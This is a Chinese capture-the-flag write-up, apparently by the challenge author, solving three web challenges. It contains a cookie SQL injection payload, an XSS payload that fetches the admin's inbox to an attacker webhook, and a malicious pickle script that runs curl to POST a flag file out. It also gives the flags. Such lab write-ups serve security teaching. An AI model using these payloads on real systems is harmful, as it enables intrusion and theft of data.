# Web ## [HD] 🦊🌽 ![image](https://hackmd.io/_uploads/Hy7XQzKZR.png) HINTS 🍪❓ 查看題目提供的原始碼可以看到,訪問網站時,後端會調用`auth()`對Cookie進行驗證程序 ![image](https://hackmd.io/_uploads/Sko5mMtZR.png) 從``auth.py``可以看到,Cookie被使用base64encode過,在`auth()`中,Cookie會被base64decode,變成``username@password``的資料結構,再透過``split()``把字串分割出username跟password。 對於username,程式會先去除所有空格,並且過濾所有的特殊字符。 對於password,程式會先去除所有空格,並且過濾所有英文字母及``=``。 最後將username及password放入SQL查詢語句中,但這個寫法會造成SQL Injection ![image](https://hackmd.io/_uploads/BkNRQztZ0.png) **Payload:** Username: ``admin`` Password: ``')||(1);--`` 查詢語句會變這樣: ```SQL= select * from user where (user='admin') and (pass='')||(1);--'); ``` password處透過一個單引號跟一個括號把字串跟括號閉合,透過``||(1)``把語句變成``(pass='')||(1)``,就會變成``(password='') 或是 True``的意思,這樣這個部分就會恆為True。 **Solve:** ``admin@')||(1);--``經過base64encode之後放入Cookie中,就可以取得Flag 是開心的白上吹雪!!好可愛!! ![image](https://hackmd.io/_uploads/BJHKHztZR.png) Flag: ||THJCC{cUt3_wh1e3_f0x_sh1rakam1_fuBuk1_0x133ee79}|| ## [IN] HalfMD v0.5 ![image](https://hackmd.io/_uploads/BkD5_zFb0.png) HINTS ![image](https://hackmd.io/_uploads/Hkkn_GKWA.png) ![image](https://hackmd.io/_uploads/B1F3dzYW0.png) 可以在網站中編寫信件 ![image](https://hackmd.io/_uploads/HyXX9MFWA.png) 寄給你的信件會顯示在網站上 ![image](https://hackmd.io/_uploads/r1-8cftb0.png) 查看原始碼可以發現信件表單資料會以POST方式送往``/sendmail`` ![image](https://hackmd.io/_uploads/Hk-KcGFbC.png) 查看題目的原始碼,可以看到``/sendmail``收到信件之後,會過濾掉``script``跟``cookie``兩個單字,最後把信件內容儲存到一個json檔案中。 ![image](https://hackmd.io/_uploads/r17s5Mt-0.png) 訪問``/``時,後端會讀取json檔案,把用戶的信件提取出來,並透過模板把信件資料傳到前端 ![image](https://hackmd.io/_uploads/SybxjfKWA.png) 查看HTML原始碼可以看到一大坨寫得很爛的JavaScript程式碼,這部分程式負責把信件中的Markdown語法轉換成HTML,因為我只寫了半套所以題目叫做``HalfMD`` ![image](https://hackmd.io/_uploads/r1SsoftZC.png) 因為處理Markdown語法的程式編寫在前端,瀏覽器禁用JavaScript或是直接查看json檔案就可以看到信件的原始內容。 ![image](https://hackmd.io/_uploads/Hyh-hftb0.png) 有漏洞的程式碼出現在這一段(HTML原始碼123行處) 這段程式碼使用正規表達式找出符合``![...](...)``格式的內容 並將``[]``裡的內容放到``img``元素的``alt``,``()``裡的內容經過UrlEncode之後放到``img``元素的``src`` 但可以看到``132行``的寫法可以造成XSS,payload寫在``[]``內(不寫在``()``是因為這部分的內容會被UrlEncode,Payload打進去也會被UrlEncode導致無法生效)。 ![image](https://hackmd.io/_uploads/B1pLnGtZ0.png) 至於為什麼其他語法沒有XSS漏洞,是因為其他語法的處理程序如果想要XSS,你會需要打``<``跟``>``來構建一個元素並執行你的JS Code,但這兩個字符會被模板引擎轉換,導致無法在前端變成網頁元素。 但也可能有漏洞,只是我沒想到。 目標是提取管理員頁面上的網頁元素,取得在管理員信箱的Flag,這點在題目中也有提示 ![image](https://hackmd.io/_uploads/Hks9CGFb0.png) 至於為什麼不要直接偷Cookie,一方面是後端禁用了``cookie``單字,另一方面是關鍵的cookie被設定為httponly,導致JS Code抓不到這個Cookie ![image](https://hackmd.io/_uploads/BkkTAztbA.png) 最後的Payload是 ``` ![" onerror="fetch('https://Your.Webhook/Here/'+document.querySelector('.mailctx').innerHTML)" class="](123) ``` Payload會被放到``alt="這裡"``,Payload透過一個雙引號先閉合字串,接著``onerror``後面放上JS Code,只要這張圖片沒法正常顯示,發生錯誤了,就會執行到``onerror``處的JS Code,JS Code內透過``querySelector()``抓取class``mailctx``內的文字,與自己的Webhook結合,再使用``fetch()``對Webhook發出請求,把抓到的資料送出。最後透過``class="``把另一個雙引號閉合,``()``處亂打,這樣圖片就一定會發生錯誤而去執行到``onerror``。 整個``img``元素最後會變成這樣: ``` <img src="123" alt="" onerror="fetch('https://Your.Webhook/Here/'+document.querySelector('.mailctx').innerHTML)" class="" > ``` 抓取class``mailctx``是因為信件內容都會被包在一個class為``mailctx``的div內。 ![image](https://hackmd.io/_uploads/B1cwlmY-C.png) 且Flag恆為管理員收件箱內的第一封信,所以``querySelector()``返回的class``mailctx``的第一個元素一定會包含Flag ![image](https://hackmd.io/_uploads/B1l9gXYW0.png) Solve ![image](https://hackmd.io/_uploads/HyArGmKZC.png) Flag: ||THJCC{X9s_9uCc39s_t0_JaVAsCr19t_C0d1Ng_Ma9t3r_0x666}|| ## [IN] 🥒 ![image](https://hackmd.io/_uploads/Bk7iMmYWC.png) HINTS ![image](https://hackmd.io/_uploads/S14hz7KWA.png) 進去網站之後會顯示預設的內容,並提供上傳自己的檔案或是下載範例檔案 ![image](https://hackmd.io/_uploads/Hy03fXF-R.png) 幹話一句,範例檔案有機會下載到特別版本 ![image](https://hackmd.io/_uploads/SyLlmQY-A.png) 上傳自己的檔案之後,後端就會解析你的檔案並將內容顯示出來 ![image](https://hackmd.io/_uploads/S16-QXtWC.png) 查看題目提供的原始碼可以看到,後端接收到你的檔案之後,會隨機產生一個整數作為檔案名稱,將你的檔案存入服務器,接著在第22行使用``pickle.load()``載入你的檔案,在第23行將檔案內的資料透過模板傳到前端。 但後端並沒有任何防護措施,這給了我們RCE的機會。 ![image](https://hackmd.io/_uploads/B1U87Qtb0.png) **Solve:** 這個腳本可以產生一個**特製**的``.pickle``檔案,上傳到後端之後,後端使用``pickle.load()``載入這個檔案時,就會執行我們打在第六行的code,造成RCE。 ```python= import pickle class profile: def __reduce__(self): import os return (os.popen,('curl https://Your.Webhook/Here -X POST -d "$(cat flag)"',)) with open("test.pickle", "wb") as f: pickle.dump(profile(), f) ``` **Reference** https://blog.csdn.net/Elite__zhb/article/details/132943998 Flag: ||THJCC{yumwy_RCe_qr0f!13_p1ckl3_Ou0b}||